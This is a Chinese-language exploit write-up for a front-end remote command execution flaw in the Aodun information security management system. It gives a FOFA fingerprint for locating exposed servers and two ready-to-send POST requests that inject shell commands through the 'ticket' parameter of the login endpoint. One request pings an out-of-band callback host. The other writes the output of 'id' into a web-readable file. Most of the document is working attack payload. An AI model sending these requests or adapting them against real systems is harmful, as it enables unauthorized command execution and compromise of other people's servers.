傲盾信息安全管理系统前台远程命令执行漏洞
一、漏洞简介
傲盾信息安全管理系统是傲盾网络科技股份有限公司的一个信息安全管理产品。该系统的前台存在远程命令执行漏洞,远程攻击者可以构造特殊的请求,注入系统命令,由于过滤不足,导致成功在目标服务器执行任意系统命令。 ,该远程命令执行漏洞的利用难度低，可导致远程命令执行。
二、影响版本
- 傲盾信息安全管理系统
三、资产测绘
- fofa
body="傲盾软件" && body="aodun/aodun.js" - 特征
四、漏洞复现
POST /user_management/sichuan_login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 97
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
loginname=sysadmin&ticket=|ping tiqqklzooy.iyhc.eu.org
POST /user_management/sichuan_login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 97
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
loginname=sysadmin&ticket=|echo `id` > /adm/isms_web/static/base_static/js/aodun/1.txt
/static/base_static/js/aodun/1.txt